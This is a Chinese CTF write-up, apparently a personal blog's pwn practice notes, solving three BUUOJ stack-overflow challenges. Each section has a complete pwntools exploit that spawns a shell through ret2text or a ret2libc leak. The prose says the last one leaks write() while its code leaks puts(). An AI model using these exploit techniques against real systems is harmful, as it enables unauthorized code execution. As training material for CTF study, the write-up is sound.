jarvisoj_level2(ret2text)
checksec检查保护机制,开启了NX。
vulnerable_function函数处存在栈溢出漏洞:buf只能存放0x88个字节,但可以读入0x100个字节。
system函数plt地址:0x8048320
ida查看字串,“/bin/sh”地址:0x804A024
构造payload
#!/usr/bin/env python3 from pwn import * io = remote("node4.buuoj.cn", 27969) system_addr = 0x8048320 binsh_addr = 0x804A024
#0x88是缓冲区buf的大小,之后覆盖ebp,然后返回地址覆盖成system函数plt地址,然后是system函数执行后的返回地址,可以是任意的地址,最后字符串'/bin/sh'地址。 payload = b'a' * 0x88 + p32(0x1234) + p32(system_addr) + p32(0x1234) + p32(binsh_addr) io.recvline() io.sendline(payload) io.interactive()
bjdctf_2020_babystack
mian函数的主要代码
char buf[0x10-0x4]; int nbytes; scanf("%d", nbytes); read(0, buf, nbytes);
可以控制输入的字符个数。当输入的字符个数大于buf缓冲区的长度时,会发生溢出。
溢出后控制程序执行system函数,地址为0x04006E6
完整EXP
#!/usr/bin/env python3 from pwn import * io = remote("node4.buuoj.cn", 29476) backdoor_addr = 0x004006E6 payload = b'a' * 0x10 + p64(0x1234) + p64(backdoor_addr) io.recvuntil(b"Please input the length of your name") io.sendline(b'200') io.recvline() io.sendline(payload) io.interactive()
[OGeek2019]babyrop
给了程序文件和libc.so链接库文件。
checksec查看保护,开启了NX和RELRO
RELRO(relocation read-only),说明GOT表不可更改。
主要代码(由汇编代码手写出来)
main函数{ fd = open("/dev/urandom", ""); read(fd, buf, nbytes); sub_804871F(buf); sub_80487D0(var_4);
} sub_804871F(arg_0){ char s[0x4C-0x2C]; char buf[0x2C-0x25]; int var_c;
char var_25[0x25-0x0C]; memset(s, 0, 0x20h); memset(buf, 0, 0x20h); sprintf(s, "%ld", arg_0); var_c = read(0, buf, 20h); buf[var_c - 1] = 0; if(strncmp(buf, s, strlen(buf)) == 0) write(Correct);
return var_25; else exit();
}
sub_80487D0(char arg_0 = sub_804871F的返回值){
char var_EC[0xEC-0xE7];
char buf[0xE7];
var_EC = arg_0;
if(var_EC == 0x7F)
read(0, buf, 0xC8)
else
read(0, buf, var_EC)
}
程序解析
对于sub_804871F::read函数获取输入可以导致buf溢出,但buf溢出的字符不足以到达ebp和返回地址。s是随机数,在strncmp比较时需要使buf的长度为0才能绕过检查。
对于sub_80487D0:var_EC可控,利用read(0, buf, var_EC)的溢出漏洞执行想要执行的程序。
利用思路
在sub_804871F这块
1、buf以"\x00"开头,绕过随机数比较
2、溢出buf使var_25返回一个ascii码比较大的字符(至少大于0xE7),这里取单个字节可表示最大的字符“\xFF”。
在sub_80487D0这块
利用read(0, buf, var_EC)对buf进行溢出,buf大小为E7,可输入大小为FF,一共可溢出24个字节。
system函数的真实地址
ida查看字串,没有system函数,但给出了libc.so动态链接库文件。
因为 system() 函数和 write() 在 libc.so 中的 offset (相对地址)是不变的,所以如果我们得到了 write() 的真实地址并且拥有 libc.so 就可以计算出 system() 在内存中的真实地址了。
write函数地址真实地址
构造栈结构如下,溢出buf获得write函数真实地址
高地址
got['write'] 0x8048825,执行完plt后的返回地址,main函数地址 plt['write'] ebp E7 * 'a'
低地址
完整的EXP
#!/usr/bin/env python3 from pwn import * libc = ELF("./libc-2.23.so") elf = ELF("./babyrop") io = remote("node4.buuoj.cn", 26169) #io = process("./babyrop") payload_1 = b'\x00' + b'a' * 6 + b'\xFF' io.sendline(payload_1) print(io.recv()) puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = 0x8048825 payload_2 = b'a' * 0xE7 + p32(0x1234) + p32(puts_plt) + p32(main_addr) + p32(puts_got) io.sendline(payload_2) puts_addr = u32(io.recv(4)) print(f'puts_addr:{puts_addr}') io.sendline(payload_1) print(io.recvuntil(b"Correct\n"))
#计算函数puts地址偏移,利用偏移计算出system函数及字符串‘/bin/sh’地址 offset = puts_addr - libc.symbols['puts'] system_addr = offset + libc.symbols['system'] binsh_addr = offset + next(libc.search(b'/bin/sh')) payload_3 = b'a' * 0xE7 + p32(0x1234) + p32(system_addr) + p32(0x1234) + p32(binsh_addr) io.sendline(payload_3) io.interactive()
标签:addr,system,笔记,var,地址,io,pwn,buf,刷题 From: https://www.cnblogs.com/jimmy-hwang/p/17399392.html